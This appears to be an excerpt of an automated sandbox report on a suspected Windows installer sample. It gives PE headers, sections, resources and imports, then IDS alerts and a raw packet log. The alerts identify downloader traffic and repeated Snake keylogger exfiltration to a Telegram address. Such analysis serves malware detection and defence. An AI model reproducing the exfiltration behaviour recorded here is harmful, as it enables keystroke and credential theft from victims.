cmp word ptr [eax], dx
je 00007FAC6891828Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x43188	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e68	0x6000	2f6554958e1a5093777de617d6e0bffc	False	0.6566162109375	data	6.419811957742583	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	9587277f9a9b39e2caf86eae07909d87	False	0.4733072916666667	data	3.757932017065988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5f000	0x43188	0x43200	ad79ab7bc0418c21ba04b90eb50d4a0c	False	0.18500494646182494	data	4.605797713668011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5f2b0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5f618	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.1810552711779152
RT_DIALOG	0xa1640	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0xa1788	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0xa18c8	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa19c8	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0xa1ae8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa1bb0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa1c10	0x14	data	English	United States	1.1
RT_VERSION	0xa1c28	0x258	data	English	United States	0.5216666666666666
RT_MANIFEST	0xa1e80	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T08:32:34.475462+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49711	172.217.19.174	443	TCP
2024-12-09T08:32:43.321758+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49714	132.226.247.73	80	TCP
2024-12-09T08:32:51.134363+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49714	132.226.247.73	80	TCP
2024-12-09T08:32:53.286833+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49732	149.154.167.220	443	TCP
2024-12-09T08:32:54.931232+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49737	132.226.247.73	80	TCP
2024-12-09T08:32:56.876763+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49739	149.154.167.220	443	TCP
2024-12-09T08:33:00.521871+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49750	149.154.167.220	443	TCP
2024-12-09T08:33:04.094949+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49758	149.154.167.220	443	TCP
2024-12-09T08:33:07.653342+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49770	149.154.167.220	443	TCP
2024-12-09T08:33:11.270293+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49780	149.154.167.220	443	TCP
2024-12-09T08:33:14.832911+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49789	149.154.167.220	443	TCP
2024-12-09T08:33:18.273066+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49800	149.154.167.220	443	TCP
2024-12-09T08:33:21.725921+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49810	149.154.167.220	443	TCP
2024-12-09T08:33:25.145721+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49820	149.154.167.220	443	TCP
2024-12-09T08:33:28.575097+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49831	149.154.167.220	443	TCP
2024-12-09T08:33:32.007339+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49840	149.154.167.220	443	TCP
2024-12-09T08:33:35.485405+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49850	149.154.167.220	443	TCP
2024-12-09T08:33:38.920720+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49860	149.154.167.220	443	TCP
2024-12-09T08:33:42.432226+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49870	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 08:32:31.847513914 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:31.847558975 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:31.847686052 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:31.884860039 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:31.884882927 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:33.583551884 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:33.583631039 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:33.584357977 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:33.584425926 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:33.645111084 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:33.645154953 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:33.645544052 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:33.645608902 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:33.649291039 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:33.691337109 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:34.475440025 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:34.476150036 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:34.476265907 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:34.477359056 CET	49711	443	192.168.2.9	172.217.19.174
Dec 9, 2024 08:32:34.477369070 CET	443	49711	172.217.19.174	192.168.2.9
Dec 9, 2024 08:32:34.638808012 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:34.638855934 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:34.639065981 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:34.639456034 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:34.639470100 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:36.332391024 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:36.332457066 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:36.336570978 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:36.336582899 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:36.336951971 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:36.337006092 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:36.337445974 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:36.379340887 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.433552980 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.433653116 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.446182966 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.446253061 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.552191973 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.552432060 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.552450895 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.552519083 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.556251049 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.556340933 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.625096083 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.625271082 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.628897905 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.628999949 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.629033089 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.629096031 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.634741068 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.634824991 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.642541885 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.642664909 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.643968105 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.644022942 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.651835918 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.651906967 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.653475046 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.653563023 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.660990000 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.661061049 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.666584969 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.666642904 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.670192003 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.670253992 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.680802107 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.680900097 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.686408043 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.686484098 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.694396973 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.694484949 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.697289944 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.697381020 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.707355976 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.707439899 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.710315943 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.710412025 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.722568989 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.722716093 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.724977970 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.725075006 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.734327078 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.734430075 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.737277985 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.737334013 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.755491972 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.755609035 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.755620956 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.755678892 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.768995047 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.769104958 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.782888889 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.783029079 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.783056974 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.783140898 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.816704988 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.816883087 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.816914082 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.817025900 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.818932056 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.819016933 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.823394060 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.823457003 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.823513985 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.823573112 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.826975107 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.827151060 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.827162027 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.827224016 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.834904909 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.834997892 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.835213900 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.835266113 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.835274935 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.835326910 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.845642090 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.845774889 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.845796108 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.845896006 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.856415033 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.856600046 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.856614113 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.856688023 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.866518021 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.866686106 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.866697073 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.866750956 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.876542091 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.876657009 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.876667023 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.876769066 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.886564970 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.886657000 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.886718988 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.886811018 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.896648884 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.896756887 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.896792889 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.896913052 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.907244921 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.907404900 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.907414913 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.907489061 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.917418957 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.917531013 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.917546988 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.917603016 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.926302910 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.926433086 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.926454067 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.926520109 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.936996937 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.937150002 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.937164068 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.937249899 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.945265055 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.945410013 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.945425987 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.945530891 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.952692032 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.952838898 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.953047991 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.953114033 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.953124046 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.953206062 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.954179049 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.954236031 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.954356909 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:39.954401970 CET	443	49712	142.250.181.33	192.168.2.9
Dec 9, 2024 08:32:39.954457045 CET	49712	443	192.168.2.9	142.250.181.33
Dec 9, 2024 08:32:41.419172049 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:41.538598061 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:41.538803101 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:41.539978027 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:41.659280062 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:42.848786116 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:42.854034901 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:42.973778963 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:43.277419090 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:43.321758032 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:43.679121017 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:43.679169893 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:43.679239988 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:43.682146072 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:43.682158947 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:44.896400928 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:44.896598101 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:44.961251020 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:44.961302042 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:44.961694002 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:44.966438055 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:45.011331081 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:45.336654902 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:45.336735964 CET	443	49715	172.67.177.134	192.168.2.9
Dec 9, 2024 08:32:45.336975098 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:45.343308926 CET	49715	443	192.168.2.9	172.67.177.134
Dec 9, 2024 08:32:50.665574074 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:50.786506891 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:51.090795040 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:51.134362936 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:51.234256983 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:51.234297037 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:51.234384060 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:51.235105991 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:51.235121012 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:52.600003958 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:52.600120068 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:52.602561951 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:52.602571011 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:52.602823019 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:52.604573965 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:52.651324034 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:52.651402950 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:52.651411057 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:53.286885977 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:53.287486076 CET	443	49732	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:53.287545919 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:53.287857056 CET	49732	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:53.447976112 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:53.449378014 CET	49737	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:53.567388058 CET	80	49714	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:53.567497969 CET	49714	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:53.568592072 CET	80	49737	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:53.568700075 CET	49737	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:53.570131063 CET	49737	80	192.168.2.9	132.226.247.73
